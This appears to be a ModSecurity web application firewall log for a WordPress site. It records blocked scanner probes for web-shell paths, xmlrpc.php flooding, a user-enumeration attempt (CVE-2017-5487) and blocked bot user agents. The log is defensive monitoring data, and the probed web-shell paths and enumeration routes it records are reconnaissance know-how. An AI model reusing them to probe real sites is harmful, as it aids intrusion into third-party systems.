[Sat Apr 25 11:22:40.273128 2026] [:error] [pid 46083:tid 46109] [client 23.100.95.109:3691] [client 23.100.95.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "aewzgDxw_Zq74vWdjmm4iQAAARU"]
[Sat Apr 25 11:22:40.842371 2026] [:error] [pid 44320:tid 44378] [client 23.100.95.109:5869] [client 23.100.95.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "aewzgDmFqSpku_dij8iprQAAAFY"]
[Sat Apr 25 11:22:41.318222 2026] [:error] [pid 44320:tid 44366] [client 23.100.95.109:5846] [client 23.100.95.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "aewzgTmFqSpku_dij8iprgAAAEo"]
[Sat Apr 25 11:22:41.798752 2026] [:error] [pid 46083:tid 46105] [client 23.100.95.109:3086] [client 23.100.95.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "aewzgTxw_Zq74vWdjmm4iwAAARI"]
[Sat Apr 25 11:36:39.411656 2026] [:error] [pid 44321:tid 44388] [client 203.2.64.59:42280] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aew2x41b5lV-asWa_Y51HgAAAIU"]
[Sat Apr 25 12:15:34.368634 2026] [:error] [pid 44425:tid 44430] [client 200.106.196.208:58143] [client 200.106.196.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.106.196.208, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aew_5iUl-VlItvY2tR94AgAAAMM"]
[Sat Apr 25 12:15:44.458451 2026] [:error] [pid 44425:tid 44438] [client 200.106.196.208:58534] [client 200.106.196.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.106.196.208, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aew_8CUl-VlItvY2tR94CgAAAMs"]
[Sat Apr 25 12:15:54.488957 2026] [:error] [pid 44321:tid 44394] [client 200.106.196.208:59351] [client 200.106.196.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.106.196.208, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aew_-o1b5lV-asWa_Y58egAAAIs"]
[Sat Apr 25 12:16:05.642128 2026] [:error] [pid 44321:tid 44401] [client 200.106.196.208:60144] [client 200.106.196.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.106.196.208, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aexABY1b5lV-asWa_Y58hQAAAJI"]
[Sat Apr 25 12:16:15.837579 2026] [:error] [pid 46083:tid 46097] [client 200.106.196.208:61066] [client 200.106.196.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.106.196.208, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aexADzxw_Zq74vWdjmnNagAAAQo"]
[Sat Apr 25 17:29:41.557726 2026] [:error] [pid 62632:tid 62759] [client 43.134.141.244:34938] [client 43.134.141.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeyJhQo5oFy5kfJhz1ZWTQAAANY"]
[Sat Apr 25 17:34:05.649037 2026] [:error] [pid 62630:tid 62701] [client 103.229.252.76:58369] [client 103.229.252.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.229.252.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeyKjXCJIizbz7HiRHTIEwAAAFM"]
[Sat Apr 25 17:34:15.978397 2026] [:error] [pid 62631:tid 62734] [client 103.229.252.76:58762] [client 103.229.252.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.229.252.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeyKl1qQlRXN7uR3kqhSUwAAAJg"]
[Sat Apr 25 17:34:27.115688 2026] [:error] [pid 62804:tid 62812] [client 103.229.252.76:59219] [client 103.229.252.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.229.252.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeyKo1cFrMNK-MrDXtPnLAAAAQA"]
[Sat Apr 25 17:34:41.223290 2026] [:error] [pid 62804:tid 62829] [client 103.229.252.76:59526] [client 103.229.252.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.229.252.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeyKsVcFrMNK-MrDXtPnVgAAARE"]
[Sat Apr 25 17:34:51.236390 2026] [:error] [pid 62804:tid 62834] [client 103.229.252.76:59835] [client 103.229.252.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.229.252.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeyKu1cFrMNK-MrDXtPncgAAARY"]
[Sat Apr 25 17:45:43.485484 2026] [:error] [pid 62804:tid 62834] [client 103.229.252.74:64738] [client 103.229.252.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.229.252.74, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeyNR1cFrMNK-MrDXtPvTAAAARY"]
[Sat Apr 25 19:41:07.642097 2026] [:error] [pid 29049:tid 29071] [client 46.0.40.22:37526] [client 46.0.40.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.0.40.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeyoUyfsWHIvmg63qcV-nQAAARQ"]
[Sat Apr 25 19:41:17.919091 2026] [:error] [pid 16108:tid 16176] [client 46.0.40.22:37685] [client 46.0.40.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.0.40.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeyoXYbPF4HSQDj6Wrl5RwAAAMo"]
[Sat Apr 25 19:41:28.485704 2026] [:error] [pid 29049:tid 29075] [client 46.0.40.22:37628] [client 46.0.40.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.0.40.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeyoaCfsWHIvmg63qcV-vQAAARg"]
[Sat Apr 25 19:41:39.095160 2026] [:error] [pid 16108:tid 16183] [client 46.0.40.22:37893] [client 46.0.40.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.0.40.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeyoc4bPF4HSQDj6Wrl5xgAAANE"]
[Sat Apr 25 19:41:49.538613 2026] [:error] [pid 16108:tid 16186] [client 46.0.40.22:38234] [client 46.0.40.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.0.40.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeyofYbPF4HSQDj6Wrl53AAAANQ"]
[Sat Apr 25 20:33:49.218992 2026] [:error] [pid 59898:tid 59957] [client 49.206.17.9:39499] [client 49.206.17.9] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aey0rR-4vImxb0kbdzehFgAAAMM"]
[Sat Apr 25 20:34:32.275543 2026] [:error] [pid 59985:tid 60005] [client 49.206.17.9:39506] [client 49.206.17.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.206.17.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aey02AF_zDvEhKvyTH6fLgAAABI"]
[Sat Apr 25 20:35:06.603967 2026] [:error] [pid 59898:tid 59963] [client 49.206.17.9:41118] [client 49.206.17.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.206.17.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aey0-h-4vImxb0kbdzeiAAAAAMk"]
[Sat Apr 25 20:35:35.613685 2026] [:error] [pid 3212:tid 3215] [client 49.206.17.9:40422] [client 49.206.17.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.206.17.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aey1F_g-28TY8_YLtUcTfgAAAQE"]
[Sat Apr 25 22:32:46.345158 2026] [:error] [pid 59898:tid 59970] [client 20.203.162.164:7933] [client 20.203.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aezQjh-4vImxb0kbdze36QAAANA"]
[Sat Apr 25 22:32:47.762286 2026] [:error] [pid 3212:tid 3223] [client 20.203.162.164:58585] [client 20.203.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aezQj_g-28TY8_YLtUdW1QAAAQk"]
[Sat Apr 25 22:32:48.649688 2026] [:error] [pid 59896:tid 59913] [client 20.203.162.164:9243] [client 20.203.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aezQkLLLzhtkd-OXUgAM6AAAAE0"]
[Sat Apr 25 22:32:50.126139 2026] [:error] [pid 3212:tid 3238] [client 20.203.162.164:34445] [client 20.203.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aezQkvg-28TY8_YLtUdW2gAAARg"]
[Sat Apr 25 23:52:43.165792 2026] [:error] [pid 59985:tid 60000] [client 43.135.148.92:51712] [client 43.135.148.92] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aezjSwF_zDvEhKvyTH7fHAAAAA0"]
[Sun Apr 26 00:26:45.587673 2026] [:error] [pid 59896:tid 59909] [client 170.106.72.93:34468] [client 170.106.72.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aezrRbLLzhtkd-OXUgA5WwAAAEk"]
[Sun Apr 26 01:33:39.031801 2026] [:error] [pid 59896:tid 59913] [client 123.187.240.242:50072] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aez687LLzhtkd-OXUgBVWgAAAE0"]
[Sun Apr 26 02:56:12.930656 2026] [:error] [pid 59985:tid 60002] [client 212.47.78.130:62749] [client 212.47.78.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ae0OTAF_zDvEhKvyTH4c0wAAAA8"]
[Sun Apr 26 02:56:13.733543 2026] [:error] [pid 59897:tid 59927] [client 212.47.78.130:64069] [client 212.47.78.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/media/system/js/core.js"] [unique_id "ae0OTfBrrkdzpEbmK4fXMwAAAIA"]
[Sun Apr 26 05:02:59.855104 2026] [:error] [pid 8390:tid 8452] [client 20.199.180.228:65462] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tmpls.php"] [unique_id "ae0sA4GPtFK_i9p5yxQDEgAAAIE"]
[Sun Apr 26 05:03:00.379991 2026] [:error] [pid 31273:tid 31336] [client 20.199.180.228:65441] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tmpls.php"] [unique_id "ae0sBPhcNJEGrATcuEevSwAAAUE"]
[Sun Apr 26 05:03:00.994979 2026] [:error] [pid 31273:tid 31360] [client 20.199.180.228:65359] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tmpls.php"] [unique_id "ae0sBPhcNJEGrATcuEevTgAAAVU"]
[Sun Apr 26 05:03:01.661920 2026] [:error] [pid 8491:tid 8517] [client 20.199.180.228:65448] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tmpls.php"] [unique_id "ae0sBSq7I7e6CJooQM197wAAANI"]
[Sun Apr 26 05:03:02.319446 2026] [:error] [pid 8491:tid 8507] [client 20.199.180.228:65463] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3.php"] [unique_id "ae0sBiq7I7e6CJooQM198gAAAMg"]
[Sun Apr 26 05:03:02.849369 2026] [:error] [pid 41906:tid 41922] [client 20.199.180.228:65467] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3.php"] [unique_id "ae0sBj3-0A3lxw9OXoDp5AAAAY4"]
[Sun Apr 26 05:03:03.397066 2026] [:error] [pid 8385:tid 8447] [client 20.199.180.228:65424] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3.php"] [unique_id "ae0sBzOy7_J84Wx3-oxS6QAAAFc"]
[Sun Apr 26 05:03:03.982319 2026] [:error] [pid 31273:tid 31356] [client 20.199.180.228:65445] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3.php"] [unique_id "ae0sB_hcNJEGrATcuEevUAAAAVE"]
[Sun Apr 26 05:03:04.520128 2026] [:error] [pid 31273:tid 31352] [client 20.199.180.228:65440] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "ae0sCPhcNJEGrATcuEevUQAAAU0"]
[Sun Apr 26 05:03:05.188836 2026] [:error] [pid 31273:tid 31358] [client 20.199.180.228:65456] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "ae0sCfhcNJEGrATcuEevUwAAAVM"]
[Sun Apr 26 05:03:05.799752 2026] [:error] [pid 8491:tid 8509] [client 20.199.180.228:14537] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "ae0sCSq7I7e6CJooQM19-wAAAMo"]
[Sun Apr 26 05:03:06.463619 2026] [:error] [pid 41906:tid 41931] [client 20.199.180.228:65439] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "ae0sCj3-0A3lxw9OXoDp5wAAAZc"]
[Sun Apr 26 05:03:06.998288 2026] [:error] [pid 8491:tid 8518] [client 20.199.180.228:65369] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kd4xalrg7m.php"] [unique_id "ae0sCiq7I7e6CJooQM19_gAAANM"]
[Sun Apr 26 05:03:07.550421 2026] [:error] [pid 41906:tid 41923] [client 20.199.180.228:65413] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kd4xalrg7m.php"] [unique_id "ae0sCz3-0A3lxw9OXoDp6QAAAY8"]
[Sun Apr 26 05:03:08.071547 2026] [:error] [pid 41906:tid 41920] [client 20.199.180.228:65365] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kd4xalrg7m.php"] [unique_id "ae0sDD3-0A3lxw9OXoDp7QAAAYw"]
[Sun Apr 26 05:03:08.586177 2026] [:error] [pid 41906:tid 41908] [client 20.199.180.228:65352] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kd4xalrg7m.php"] [unique_id "ae0sDD3-0A3lxw9OXoDp8QAAAYA"]
[Sun Apr 26 05:03:09.104489 2026] [:error] [pid 8383:tid 8418] [client 20.199.180.228:65422] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mo.php"] [unique_id "ae0sDdFa2S3EsATMdWOybQAAABU"]
[Sun Apr 26 05:03:09.590825 2026] [:error] [pid 41906:tid 41914] [client 20.199.180.228:65402] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mo.php"] [unique_id "ae0sDT3-0A3lxw9OXoDp9wAAAYY"]
[Sun Apr 26 05:03:10.135084 2026] [:error] [pid 31273:tid 31337] [client 20.199.180.228:65450] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mo.php"] [unique_id "ae0sDvhcNJEGrATcuEevVwAAAUI"]
